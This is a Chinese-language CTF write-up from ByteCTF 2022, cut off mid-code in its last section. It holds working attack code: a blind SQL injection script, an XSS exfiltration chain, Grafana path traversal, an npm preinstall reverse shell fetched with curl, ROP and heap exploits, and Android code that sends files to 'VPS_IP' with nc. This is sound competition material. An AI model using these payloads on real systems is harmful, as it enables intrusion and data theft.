ByteCTF 2022 By W&M

admin 2024年9月13日22:18:07评论14 views字数 42953阅读143分10秒阅读模式

综述

我们是冠军!
ByteCTF 2022 By W&M

WEB

datamanager

/dashboard?order=id

存在注入

from sre_constants import SUCCESS
import requests
requests = requests.Session()
import string

proxies = {}
import warnings
warnings.filterwarnings("ignore")

headers = {
    "Cookie": "__t_id=7267900aaba9b607c88b9639ae26899a; JSESSIONID=C1032349BC4000AE184AD31889B5B0F3",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"

}

#database() == datamanager
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#tables : source,users
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#columns from users: current\\_connections,total\\_connections,user,id,n4me,pas$word
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(column_name) from information_schema.columns where table_name like 0x7573657273) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#n4me from users: ctf,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(n4me) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#pas$word from users: ctf@BvteDaNceS3cRet,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(pas$word) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

def main():
    flag = ""
    while 1:
        success = False
        for i in string.printable[:-6]:
            if i in "_%[]":
                i = "\\\\"+i
            payload = "0x"
            for item in flag:
                payload += "%02x" % ord(item)
            for item in i:
                payload += "%02x" % ord(item)
            payload += "25"
            #print(payload)
            r = requests.get(url.replace("PAYLOAD",payload),proxies=proxies,headers=headers,verify=False,timeout=3)
            #if "SORRY!" not in r.text:
            if r.status_code == 200:
                flag += i
                print(flag)
                success = True
                break
        if success:
            continue
        else:
            print("failed",flag)
            raise Exception("failed")

if __name__ == "__main__":
    main()

注入得到admin用户名密码

ctf
ctf@BvteDaNceS3cRet

Status 可以执行任意sql

Server running on /app/DataManager.jar

select * from source

Result: [[1, 1, public mysql server, -, 3306, mysql, Running, root, mySql_Super_Str0ng_paSSw0rb],
 [2, 1, internal cache server, ***, ***, redis, Running, -, redis_means_Remote_D1ctionary_Server]…

show variables
... [secure_file_priv, /tmp/],

Connection Test可以执行jdbc

jdbc:mysql://VPS_IP:port/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true

用mysql fake server来读文件。需要修改一下 handshake.py的72行d[2]改成0x21 否则报错

fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

netdoc可以列举目录,直接出flag了。jar和redis都没用到,可能是非预期。

ByteCTF 2022 By W&M

netdoc:///
/very_Str4nge_NamE_of_flag

typing_game

1.css xss读取当前词语 必须把typing game通关才能xss

2.name处xss 目的是读取命令执行的回显

3.命令执行env读取CTF_CHALLENGE_FLAG

(因为他当前文件夹有文件。因此不能用以前题目出过的 四个可控字符rce)

ls
conf.js
index.js
node_modules
package-lock.json
package.json
public
test.js
views

需要搭建一个服务器来读取当前字符

from flask import Flask,abort

app = Flask(__name__)

@app.after_request
def after_request(response):
  response.headers.add('Access-Control-Allow-Origin', '*')
  response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
  response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
  return response

word = None
@app.route("/ctftest/setword/<lword>")
def hello(lword):
    global word
    word = lword
    print("word is",word)
    abort(404)

@app.route("/ctftest/getword")
def getword():
    global word
    if word is None:
        return ""
    lword = word
    word = None
    return lword

# 本地测试远程的话http css里的http会被强制升级成https
# 所以建议套个nginx 上https
# 但是打远程的话是127.0.0.1:13002是http 没有https的问题
if __name__ == "__main__":
    app.run(host="0.0.0.0",port=80)
<html>
<head></head>
<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>
<script>

    let after_command=
        encodeURIComponent(
            `fetch('http://127.0.0.1:13002/status?cmd=env').then(r=>r.text().then(t=>fetch('https://www.mydomain.com/ctftest/setword/'+encodeURIComponent(t))));`
        );
    if(window.location.href.indexOf("mydomain.com") == -1){//local testing
        var server = "https://f74b89ca65ab2c4419ad5362aad4fe19.2022.capturetheflag.fun"
    }else{ //打远程
        var server = "http://127.0.0.1:13002"
    }
    let base_url = server + "/?color=blue;}[src^=web]{background:url(https://www.mydomain.com/ctftest/setword/web);}[src^=bytedance]{background:url(https://www.mydomain.com/ctftest/setword/bytedance);}[src^=ctf]{background:url(https://www.mydomain.com/ctftest/setword/ctf);}[src^=sing]{background:url(https://www.mydomain.com/ctftest/setword/sing);}[src^=jump]{background:url(https://www.mydomain.com/ctftest/setword/jump);}[src^=rap]{background:url(https://www.mydomain.com/ctftest/setword/rap);}[src^=basketball]{background:url(https://www.mydomain.com/ctftest/setword/basketball);}[src^=hello]{background:url(https://www.mydomain.com/ctftest/setword/hello);}[src^=world]{background:url(https://www.mydomain.com/ctftest/setword/world);}[src^=fighting]{background:url(https://www.mydomain.com/ctftest/setword/fighting);}[src^=flag]{background:url(https://www.mydomain.com/ctftest/setword/flag);}[src^=game]{background:url(https://www.mydomain.com/ctftest/setword/game);}[src^=happy]{background:url(https://www.mydomain.com/ctftest/setword/happy);}x{"+
        "&name=<img src=x onerror=\"fetch('https://www.mydomain.com/ctftest/setword/xss_done');"+after_command+"\" />#"
    function create_window(){
        let w =open(base_url)
        return w

    }
    ended = false
    function get_word(){
        if(ended){
            return
        }
        fetch("https://www.mydomain.com/ctftest/getword").then(r => r.text().then(x =>{
            if(x == "xss_done"){
                ended = true
                return
            }
            if(x == ""){
                return;
            }else{
                window.vuln_window.location.href = base_url + x;
            }
        }));
    }
    function main(){
        //clear old word
        fetch("https://www.mydomain.com/ctftest/getword")
        setTimeout(function(){
            window.vuln_window = create_window()
            setInterval(get_word, 200);
        }, 200);
        //prevent window being recycled
        setTimeout(function(){
            console.log(1)
        },1000)
        setTimeout(function () {
            console.log(1)
                }, 10000)
        setTimeout(function () {
            console.log(1)
        }, 20000)

    }
    main()
    </script>

</html>

ByteCTF 2022 By W&M

easy_grafana

You must have seen it, so you can hack it

GET /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/grafana/grafana.ini HTTP/1.1
GET /public/plugins/alertlist/#%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2fvar/lib/grafana/grafana.db HTTP/1.1

https://github.com/A-D-Team/grafanaExp

You must have seen it, so you can hack it

GET /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/grafana/grafana.ini HTTP/1.1
GET /public/plugins/alertlist/#%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2fvar/lib/grafana/grafana.db HTTP/1.1

https://github.com/A-D-Team/grafanaExp

ByteCTF 2022 By W&M

ctf_cloud

首先需要是admin

',0),('admin','1',1);#

username不是unique 直接多注册一个admin就行了

package.json | npm Docs (npmjs.com)

利用npm包的preinstall script进行rce

加载远程https的tar包不成功,所以从git加载。

把这个命名为package.json 传到github公开库。

{
  "title": "UAParser.js",
  "name": "ua-parser-js",
  "version": "0.7.29",
  "author": "Faisal Salman <[email protected]> (http://faisalman.com)",
  "description": "Lightweight JavaScript-based user-agent string parser",
  "main": "src/ua-parser.js",
  "scripts": {
    "preinstall": "bash -c 'curl VPS/reverse_shell|sh'"
  }
}

post提交json

{"dependencies":{"ua-parser-js": "git+https://github.com/your_github_account/test.git"}}

microservices

题目给了三个分布式服务

第一个是service。服务的具体实现

第二个是web。前端的

第三个是路由中转

先看配置文件。还有个router.yml

ByteCTF 2022 By W&M

ByteCTF 2022 By W&M

匹配/api/v1/并且不存在dev=参数。就会转发到8081的正常web
匹配/debug就是一个6060啥路由都没有的web

看代码

ByteCTF 2022 By W&M

api/v1有个dev验证

ByteCTF 2022 By W&M

第一关:转发器URI参数不能带dev。并且后端的验证器必须带dev参数

这里就利用go前后端版本不一致的洞

高版本go ;不认为是分隔符

低版本go ;等于&

传入?a=1;dev=true

前端认为是a=1;dev=true

后端认为是a=1&dev=true

然后到register路由。

ByteCTF 2022 By W&M

参数绑定到struct

然后到downloadFile函数

ByteCTF 2022 By W&M

这里最后会获取文件名。然后拼接到img-文件名。最后替换\\\\/写入文件

ByteCTF 2022 By W&M

ByteCTF 2022 By W&M

这里默认tmp/img没写权限

ByteCTF 2022 By W&M

最后可以覆盖配置config.yml文件。查看文档。发现支持sprig语法

ByteCTF 2022 By W&M

ByteCTF 2022 By W&M

获取FLA自定义一个正则rule。把debug的转发到本地的/dashboard/。即可看到base64的正则。

ByteCTF 2022 By W&M

PWN

ComeAndPlay

栈溢出,以及mmap特性,mmap映射地址的时候如果映射到存在的地址会失败因此可以通过这个特性来将codebase leak出来

但是每次运行的时候文件都会变,主要是算式改变以及buf大小改变,用angr过ansewer,通过读文件把buf大小读出来,然后栈溢出劫持got表从而getshell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
import fuckpy3
import z3
import claripy
import angr
from pwn import *
context.log_level = 'debug'

binary = '4'
elf = ELF('4')
# libc = ELF("./libc.so")
libc = elf.libc
context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process
l64 = lambda      :u64(p.recvuntil(b"\\x7f")[-6:].ljust(8,b"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
"""
if ( buf[0] - (buf[0] | 0x87A4) != 0xFFFFFFFFFFFF7900LL
    || (buf[1] | 0xF4F9) + 0xCA70uLL % buf[1] != 0xF589
    || 0x95A5uLL % buf[2] + buf[2] != 0xE9
    || (buf[3] | 0xC03C) - buf[3] != 0xC01C )
"""
def get_num():
    s = z3.Solver()
    num1 = z3.BitVec("num1",32)
    num2 = z3.BitVec("num2",32)
    num3 = z3.BitVec("num3",32)
    num4 = z3.BitVec("num4",32)
    s.add(num1 - (num1 | 0x87A4) == -0x8700)
    s.add((num2 | 0xf4f9) + 0xca70 % num2 == 62857 )
    s.add(0x95A5 % num3 + num3 == 233)
    s.add( (num4 | 0xc03c) - num4 == 49180 )
    print(s.check())
    m = (s.model())
    for i in m:
        print("%s = %x"%(i,(m[i].as_long())))
    num = 0xa498a720
    print(num)
def get_file():
    global p
    context.arch = 'amd64'
    CHALLENGE_ID = 'dbb8c5bebaf23c76911faf5e4290dd59'
    p = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
    p.recvuntil("--------------------------------------------------------------------------------------------------------")
    p.recvuntil("f")
    payload = b'f' + p.recvuntil('==')
    print(payload)
    payload = base64.b64decode(payload)
    with open("4","wb+") as f:
        f.write(payload)
        f.seek(0x134e)
        content = f.read(0x400)
        # content = disasm(content)
        f.close()
def angr_test():
    proj = angr.Project("./4",auto_load_libs = False)
    arg1 = claripy.BVS("arg1", 8*8)
    init = proj.factory.entry_state(args=["./4", arg1])
    sm = proj.factory.simgr(init)
    with open("./4","rb+") as f:
        f.seek(0x134e)
        content = f.read(0x400)
        tmp_num = content.find(b"\\x48\\x8D\\x45\\xf8")
        find_addr = 0x134e + tmp_num - 0x24
        tmp_num = content.find(b"\\x83\\x7d\\xfc\\x45")
        avoid_addr = 0x134e + tmp_num + 10
        print(hex(find_addr),hex(avoid_addr))
    # sm.one_active.options.add(angr.options.LAZY_SOLVES)
    sm.explore(find=0x400000 + find_addr, avoid=0x400000 + avoid_addr)
    sol = sm.found[0].solver.eval(arg1, cast_to=bytes)
    print(sol)
    return sol
# p = process(["./4",num])

def leak_codebase(addr,size):
    global p
    ru("Now you can choose how to play")
    p.sendline("1")
    ru("[!] Russian Roulette!")
    p.send(p64(addr) + p64(size))
    content = p.recvline()
    content = p.recvline()
    if b"Lose" in content:
        print(content)
        print("successful: 0x%lx" % ((addr + size)))
        return addr
    print(content)
    return 0

def getCheck(path) :
    proj = angr.Project(path)
    start_addr = 0x40134E
    blk = proj.factory.block(start_addr)
    next = lambda b : proj.factory.block(b.addr+b.size)
    blk = next(blk)
    avoid_addr = int(blk.capstone.insns[-1].op_str, 16)
    for i in range(4) :
        blk = next(blk)
    target_addr = blk.addr
    print("Addr:", hex(avoid_addr), hex(target_addr))
    state = proj.factory.blank_state(addr = start_addr)
    state.regs.edi = state.solver.BVS('arg', 32)
    sm = proj.factory.simgr(state)
    sm.explore(find=target_addr, avoid=avoid_addr)
    sol = sm.found[0].solver.eval(state.regs.edi, cast_to=bytes)
    # print(sol)
    return sol
def exp(idx):
    global p
    addr = 0x555555000000
    i = 0
    arr = [0x100000000,0x10000000,0x1000000,0x100000,0x10000,0x1000,0x100]
    for i in (arr):
        # print(i)
        while(1):
            addr += i
            print("try: 0x%lx" % (addr))
            tmp_value = leak_codebase(addr,i)
            if(tmp_value):
                addr = tmp_value
                # pause()
                break

    codebase = addr & 0xfffffffff000
    elf.address = codebase
    success("Get codebase = 0x%lx",codebase)
    p.recv()
    p.sendline('2')
    # attach(p)
    # pause()
    pop_rdi_ret = codebase + 0x0000000000001653
    pop_rsi_r15_ret = codebase + 0x0000000000001651
    payload = p64(codebase + 0x1269)*(idx - 0x1)
    # payload += p64(elf.address + 0x000000000000101a)*0x10
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got["puts"])
    payload += p64(elf.sym["puts"])
    payload += p64(0x164A + elf.address)
    payload += p64(0)#rbx
    payload += p64(1)#rbp
    payload += p64(0)#r12->rdi
    payload += p64(elf.got["puts"] - 0x8)#rsi
    payload += p64(0x10)#rdx
    payload += p64(elf.got["read"])#r15->call
    payload += p64(0x1630 + elf.address)#ret
    payload += b'a'*56
    payload += p64(0x000000000000101a + codebase)
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got["puts"] - 0x8)
    payload += p64(elf.sym["puts"])
    p.recv()
    p.send(payload)
    libc_base= l64() - libc.sym["puts"]
    lg("libc_base",libc_base)
    libc.address = libc_base
    payload = b"/bin/sh\\x00"
    payload += p64(libc.sym["system"])
    p.send(payload)
    # sleep(0.01)
    # p.sendline("cat flag")
    # p.sendline("cat flag.txt")
    # pause()
    p.interactive()
if __name__ == "__main__":
    while(1):
        try:
            get_file()
            with open("./4","rb+") as f:
                f.seek(0x1356+3)
                content = f.read(4)
                idx = u32(content)
                idx = int(idx / 0x8)
                print(idx)
            num = getCheck("./4")
            p.recvuntil("answer")
            p.sendline(str(u32(num[::-1])))
            exp(idx)
        except:
            p.close()

mini_http2

Edit 可以堆溢出,堆风水改 Tcache 即可,需要注意的是 \x00 会截断,远程是 GLIBC 2.35,但是 exit 给了个访问并调用 __free_hook,所以还是打 __free_hook 就行了

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./pwn"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]), ssl=True)
            return remote(sys.argv[1], int(sys.argv[2]), ssl=True)
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def send_pack(size, choice1, check):
    payload = p32(size)[::-1][1:] + p8(choice1) + p8(check)
    payload = payload.ljust(0x9, p8(0))
    sh.send(payload)


def register(username, password):
    data = "/register?username=%s&password=%s&" % (username, password)
    payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data

    send_pack(len(payload), 1, 5)
    sh.send(payload)


def login(username, password):
    data = "/login?username=%s&password=%s&" % (username, password)
    payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

def exit_program():
    data = "/exit"
    payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

def add(name1, desc1):
    data = "/api/add_worker"
    payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

    payload2 = '{"name": "%s", "desc": "%s"}' % (name1, desc1)
    send_pack(len(payload2), 0, 0)

    print(payload2)
    sh.send(payload2)


def delete(idx):
    data = "/api/del_worker"
    payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

    payload2 = '{"worker_idx": %d}' % idx
    send_pack(len(payload2), 0, 0)

    print(payload2)
    sh.send(payload2)


def show(idx):
    data = "/api/show_worker"
    payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

    payload2 = '{"worker_idx": %d}' % idx
    send_pack(len(payload2), 0, 0)

    print(payload2)
    sh.send(payload2)


def edit(idx, name1, desc1):
    name1 = name1.replace('\x00', '\u0000')
    desc1 = desc1.replace('\x00', '\u0000')
    data = "/api/edit_worker"
    payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
    payload += data
    send_pack(len(payload), 1, 5)
    sh.send(payload)

    payload2 = '{"name": "%s", "desc": "%s", "worker_idx": %d}' % (name1, desc1, idx)
    send_pack(len(payload2), 0, 0)

    print(payload2)
    sh.send(payload2)


def pwn(sh, elf, libc):
    context.log_level = "debug"

    register('/bin/sh', '/bin/sh')
    login('/bin/sh', '/bin/sh')
    sh.recvuntil('0x')
    libc_base = int(sh.recvuntil('"', drop=True), 16) - 0xc4200
    log.success("libc_base:\t" + hex(libc_base))
    free_hook_addr = libc_base + 0x2204a8

    add('a' * 0x27, 'b' * 0x27) #0
    add('c' * 0x27, 'd' * 0x27) #1
    add('c' * 0x27, 'd' * 0x27) #2
    sh.recvuntil('0x')
    heap_base = int(sh.recvuntil('"', drop=True), 16) - 0x680
    log.success("heap_base:\t" + hex(heap_base))
    delete(2)

    delete(1)

    payload = 'b' * 0x80 + p64((free_hook_addr - 8 - 0x30) ^ ((heap_base + 0x7e0) >> 12))
    edit(0, 'a' * 0x27,  payload)
    #gdb.attach(sh, "b *$rebase(0x0000000000007CA2)")
    add('d' * 0x27, 'e' * 0x27) #1
    system_addr = libc_base + 0x50d60
    edit(1, 'd' * 0x27, 'e' * 0x38 + p64(system_addr))
    exit_program()
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

REVERSE

Android MITM

非预期:直接读取出apk 因为flag在apk里面 读了apk就是读了flag

//申请这个权限,还有网络权限等常用权限
<uses-permission-sdk-23 android:name="android.permission.QUERY_ALL_PACKAGES"/>


void test1(){
        try {
            Process exec = Runtime.getRuntime().exec("pm path com.bytedance.mitm");
            InputStreamReader inputStreamReader = new InputStreamReader(exec.getInputStream());
            BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
            String s = bufferedReader.readLine();
            s = s.replace("package:","");
            Log.d(TAG, "test1aaaa: "+s);
            if (s != null){
                String file = s;
                String[] cmd = new String[]{"sh", "-c", "cat " + file + " | nc VPS_IP 9999"};
                //String cmd = "ls -la "+file;
                try {
                    Process exec1 = Runtime.getRuntime().exec(cmd);
                    InputStreamReader inputStreamReader1 = new InputStreamReader(exec1.getInputStream());
                    BufferedReader bufferedReader1 = new BufferedReader(inputStreamReader1);
                    String s1 = bufferedReader1.readLine();
                    Log.d(TAG, "test1bbbb: "+s1);

                } catch (IOException e) {
                    Log.d(TAG, "test1cccc: ",e);

                    e.printStackTrace();
                }
            }

        } catch (IOException e) {
            e.printStackTrace();
        }

    }

Android MITM Revenge

package com.bytedance.attackmitm;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v4.os.IResultReceiver;
import android.util.Log;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.util.Map;
public class MainActivity extends AppCompatActivity {
    //    private static final String TAG = "MAIN";
//
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Parcel _data = Parcel.obtain();
        Parcel _reply = Parcel.obtain();
        this.registerReceiver(new FlagReceiver(), new IntentFilter("bytedance.ctf.androidmitm"));
        try {

            IBinder old = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");

            AttackService serv = new AttackService(old);
             _data.writeInterfaceToken("android.app.IActivityManager");
            _data.writeString("activity_task");
            _data.writeStrongBinder(serv);
            IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity");
            _reply.readException();
            boolean _status = am.transact(223, _data, _reply, 0);
            socketSend.sendMessage("Hooked");

        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            _reply.recycle();
            _data.recycle();
        }

        Intent mIntent = new Intent();
        mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        mIntent.setComponent(new ComponentName("com.bytedance.mitm","com.bytedance.mitm.MainActivity"));
        mIntent.setAction("android.intent.action.VIEW");
        startActivity(mIntent);
        Log.e("s", "started");
    }

}
package com.bytedance.attackmitm;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;

public class FlagReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context ctx, Intent intent) {
        String flag=intent.getStringExtra("flag");
        Log.e("1", "flag");
        socketSend.sendMessage(flag);
    }
}
ByteCTF{9bcb52ca-0206-4918-b5f6-beda5af6256b}
package com.bytedance.attackmitm;

import android.util.Log;

import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;

public class socketSend {
    static void sendMessage(String s) {
        Log.e("Sending", s);
        new Thread(new Runnable() {
            @Override
            public void run() {
                Socket socket = null;
                OutputStream outputStream = null;
                try {
                    socket = new Socket("my_vps", 8080);
                    outputStream = socket.getOutputStream();
                    PrintWriter pw = new PrintWriter(outputStream);
                    pw.write(s);
                    pw.flush();
                    socket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

题目要求对activity_task的op=17时的返回进行劫持,

题目提示:系统里有Bytedance Code,在Service和Platform里全局搜索Bytedance,发现了GodGiveYouaddService

读代码后发现给activity op=223发送transact可以正确调用此GodGiveYouAddService

本地利用AttackService替换activity_task。

发现远程需要重新唤起目标进程,但是activity_task被替换无法唤起,遂保存之前的binder, 对于AttackService无法处理的transact继续向上传递,socket把flag带出给vps

OhMySolidity

首先题目只给了一个txt文件,打开发现一堆十六进制数,去网上搜了一些区块链逆向的文章,发现这些十六进制数是字节码,可以用在线反编译器解析https://ethervm.io/decompile?address=&network=,

但是好像解析不全,需要自己阅读,参考EVM的文档EVM Opcode https://ethervm.io/

后来用这个https://library.dedaub.com/decompile可以直接反编译

// Decompiled by library.dedaub.com
// 2022.09.25 01:47 UTC

// Data structures and variables inferred from the use of storage instructions
uint32 stor_0_0_3; // STORAGE[0x0] bytes 0 to 3
uint32 stor_0_4_7; // STORAGE[0x0] bytes 4 to 7
uint32 stor_0_8_11; // STORAGE[0x0] bytes 8 to 11
uint32 stor_0_12_15; // STORAGE[0x0] bytes 12 to 15


function 0x93eed093() public payable { 
    return stor_0_0_3;
}

function 0x9577a145(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public payable { 
    require(msg.data.length - 4 >= 128);
    stor_0_0_3 = uint32(varg0);
    stor_0_4_7 = uint32(varg1);
    stor_0_8_11 = uint32(varg2);
    stor_0_12_15 = uint32(varg3);
}

function 0xa7f81e6a() public payable { 
    return stor_0_8_11;
}

function 0xf0407ca7() public payable { 
    return stor_0_12_15;
}

function () public payable { 
    revert();
}

function 0x14edb54d() public payable { 
    return stor_0_4_7;
}

function 0x58f5382e(uint256 varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 <= 0x100000000);
    require(4 + varg0 + 32 <= 4 + (msg.data.length - 4));
    require(!((varg0.length > 0x100000000) | (36 + varg0 + varg0.length > 4 + (msg.data.length - 4))));
    v0 = new bytes[](varg0.length);
    CALLDATACOPY(v0.data, 36 + varg0, varg0.length);
    v0[varg0.length] = 0;
    require(v0.length % 8 == 0);
    v1 = new bytes[](v0.length);
    if (v0.length) {
        MEM[(v1.data) len (v0.length)] = this.code[this.code.size len (v0.length)];
    }
    v2 = v3 = 0;
    while (v2 < v0.length) {
        v4 = v5 = 0;
        v6 = v7 = 0;
        v8 = v9 = 0;
        v10 = v11 = 0;
        while (0xff & v10 < 4) {
            assert(v2 + (0xff & v10) < v0.length);
            v6 = v6 + (uint32(0xff & v0[v2 + (0xff & v10)] >> 248 << 248 >> 248) << (0xff & 3 - v10 << 3));
            assert(v2 + (0xff & v10) + 4 < v0.length);
            v8 = v8 + (uint32(0xff & v0[v2 + (0xff & v10) + 4] >> 248 << 248 >> 248) << (0xff & 3 - v10 << 3));
            v10 += 1;
        }
        v12 = v13 = 0;
        while (0xff & v12 < 32) {
            v4 = v4 + 0xdeadbeef;
            v6 = v6 + ((uint32(v8) << 4) + stor_0_0_3 ^ v8 + v4 ^ (uint32(v8) >> 5) + stor_0_4_7);
            v8 = v8 + ((uint32(v6) << 4) + stor_0_8_11 ^ v6 + v4 ^ (uint32(v6) >> 5) + stor_0_12_15);
            v12 += 1;
        }
        v14 = v15 = 0;
        while (0xff & v14 < 4) {
            assert(v2 + (0xff & v14) < v1.length);
            MEM8[32 + (v2 + (0xff & v14)) + v1] = (byte(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (uint32(v6) >> (0xff & 3 - v14 << 3) & 0xff) << 248, 0x0)) & 0xFF;
            assert(v2 + (0xff & v14) + 4 < v1.length);
            MEM8[32 + (v2 + (0xff & v14) + 4) + v1] = (byte(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (uint32(v8) >> (0xff & 3 - v14 << 3) & 0xff) << 248, 0x0)) & 0xFF;
            v14 += 1;
        }
        v2 = v2 + 8;
    }
    v16 = new array[](v1.length);
    v17 = v18 = 0;
    while (v17 < v1.length) {
